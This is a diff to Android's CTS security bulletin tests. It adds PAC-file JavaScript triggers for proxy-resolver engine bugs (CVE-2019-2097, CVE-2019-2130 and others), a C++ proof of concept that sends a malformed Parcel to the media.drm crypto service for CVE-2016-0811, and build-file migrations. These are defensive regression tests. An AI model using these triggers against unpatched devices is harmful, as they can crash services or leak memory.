+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+    for(var i = 0;i < 0x1000;i++){
+        tt();
+    }
+
+    return "DIRECT";
+}
+
+function tt(){
+    var evil_o = {};
+    var reg = /abc/y;
+    var num = {};
+    num.toString = function(){
+	    change_to_dict();
+	    return 0x0;
+    }
+
+
+    function change_to_dict(){
+	    for(var i = 0;i < 0x100;i++){
+		    reg["a"+i.toString(16)] = i;
+	    }
+    }
+
+    evil_o.toString = function(){
+	    //change_to_dict();
+	    reg.lastIndex = num;
+	    return "abc".repeat(0x1000);
+    }
+
+    String.prototype.replace.call(evil_o,reg,function(){});
+}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2097.pac b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
new file mode 100644
index 0000000..4880f54
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+    for (var  i = 0; i < 0x10000; i++){
+        f();
+    }
+    array[0] = double_arr;
+    f();
+    try {
+    double_arr[1].x;
+    }catch(e){}
+    return "DIRECT";
+}
+
+var double_arr = [1.1, 2.2];
+var array = [[0.1],[0.1],[0.1]];
+
+function f(){
+    double_arr[0] = 3.3;
+    for(var i = 0; i < array.length; i++){
+        array[i][0] = {"abcd":0x4321};
+    }
+    double_arr[1] = 6.176516726456e-312;
+}
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
old mode 100755
new mode 100644
similarity index 66%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
copy to hostsidetests/securitybulletin/res/CVE-2019-2130.pac
index a48cb1d..77a0cb5
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
@@ -1,5 +1,4 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
+/*
  * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,13 +12,26 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- -->
+ */
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
+function FindProxyForURL(url, host){
+    function opt() {
+        opt['x'] = 1.1;
+        try {
+            Object.create(object);
+        } catch (e) {
+        }
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+        for (let i = 0; i < 100000; i++) {
 
-</manifest>
+        }
+    }
 
+    opt();
+    object = opt;
+    opt();
+
+    return "DIRECT";
+}
+
+var object;
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java b/hostsidetests/securitybulletin/res/bug_138441919.pac
similarity index 70%
copy from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
copy to hostsidetests/securitybulletin/res/bug_138441919.pac
index 4cf6efa..006fb6a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
+++ b/hostsidetests/securitybulletin/res/bug_138441919.pac
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,7 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.cts.deviceowner;
-
-public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
+function FindProxyForURL(url, host){
+    Object.defineProperty(Promise, Symbol.species, { value: 0 });
+    var p = new Promise(function() {});
+    p.then();
+    return "DIRECT";
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java b/hostsidetests/securitybulletin/res/bug_139806216.pac
similarity index 75%
copy from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
copy to hostsidetests/securitybulletin/res/bug_139806216.pac
index 4cf6efa..256108d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
+++ b/hostsidetests/securitybulletin/res/bug_139806216.pac
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.android.cts.deviceowner;
-
-public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
+function FindProxyForURL(url, host){
+    var x = new ArrayBuffer(1);
+    return "DIRECT";
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
new file mode 100644
index 0000000..03e9154
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "Bug-115739809",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libbase",
+        "libinput",
+        "libutils",
+        "liblog",
+    ],
+    cppflags: [
+        "-Wextra",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
deleted file mode 100755
index cd2dbcd..0000000
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-115739809
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := \
-        libbase \
-        libinput \
-        libutils \
-        liblog
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS += -Wall -Werror -Wextra
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp b/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
new file mode 100644
index 0000000..3d44266
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.bp
@@ -0,0 +1,19 @@
+//Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "Bug-38195738",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.mk
deleted file mode 100644
index a4c1dc5..0000000
--- a/hostsidetests/securitybulletin/securityPatch/Bug-38195738/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-#Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-38195738
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
new file mode 100644
index 0000000..2c0206e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2012-6702",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    shared_libs: [
+        "libc",
+        "libexpat",
+        "liblog",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
new file mode 100644
index 0000000..439c139
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2014-3145",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.mk
deleted file mode 100644
index 30cae16..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2014-3145/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2014-3145
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
new file mode 100644
index 0000000..c8d5dc5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2014-9803",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
deleted file mode 100644
index 0bd5a7c..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2014-9803
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
new file mode 100644
index 0000000..76485b6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2015-1805",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk
deleted file mode 100644
index 6dd41bd..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2015-1805
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
similarity index 92%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
index e21a08e..6a0317b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
@@ -15,7 +15,7 @@
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-3913
+LOCAL_MODULE := CVE-2016-0811
 LOCAL_SRC_FILES := poc.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
@@ -25,11 +25,12 @@
     libbinder \
     libutils \
     libmedia \
+    libmediadrm \
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts sts vts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS += -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS += -Wall -Werror
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
new file mode 100644
index 0000000..b34166f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
@@ -0,0 +1,73 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/ICrypto.h>
+#include <media/IDrm.h>
+#include <media/IMediaDrmService.h>
+
+using namespace android;
+
+template <typename T>
+void mediaPoc(BpInterface<T> *sit) {
+  Parcel data, reply;
+  data.writeInterfaceToken(sit->getInterfaceDescriptor());
+  data.writeInt32(0);
+  data.writeInt32(0);
+  static const uint8_t kDummy[16] = {0};
+  data.write(kDummy, 16);
+  data.write(kDummy, 16);
+  const int wsize = 16 * 1024;
+  sp<MemoryDealer> dealer = new MemoryDealer(wsize);
+  sp<IMemory> memory = dealer->allocate(wsize);
+  data.writeInt32(wsize);
+  data.writeStrongBinder(IInterface::asBinder(memory));
+  const int ss = 0x1;
+  data.writeInt32(0xffffff00);
+  data.writeInt32(ss);
+  CryptoPlugin::SubSample samples[ss];
+  for (int i = 0; i < ss; i++) {
+    samples[i].mNumBytesOfEncryptedData = 0;
+    samples[i].mNumBytesOfClearData = wsize;
+  }
+  data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
+  char out[wsize] = {0};
+  reply.read(out, wsize);
+}
+
+static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
+                                          0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
+                                          0x52, 0xE2, 0xFB, 0x4B};
+
+int main(void) {
+  status_t st;
+  sp<ICrypto> crypto =
+      interface_cast<IMediaDrmService>(
+          defaultServiceManager()->getService(String16("media.drm")))
+          ->makeCrypto();
+
+  sp<IDrm> drm = interface_cast<IMediaDrmService>(
+                     defaultServiceManager()->getService(String16("media.drm")))
+                     ->makeDrm();
+
+  Vector<uint8_t> sess;
+  st = drm->createPlugin(kClearKeyUUID, (String8) "test");
+  st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
+  st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
+  BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
+  mediaPoc(sit);
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
new file mode 100644
index 0000000..3531cdb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0844/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-0844",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    cflags: [
+        "-fPIE",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
new file mode 100644
index 0000000..4546546
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-10229",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.mk
deleted file mode 100644
index 179fe15..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10229/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-10229
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS = -Wall -Werror
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
new file mode 100644
index 0000000..c3537f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.bp
@@ -0,0 +1,20 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-2109",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    shared_libs: ["libcrypto"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.mk
deleted file mode 100644
index 02f49d0..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2109/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2109
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libcrypto
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS = -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
new file mode 100644
index 0000000..09e360d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
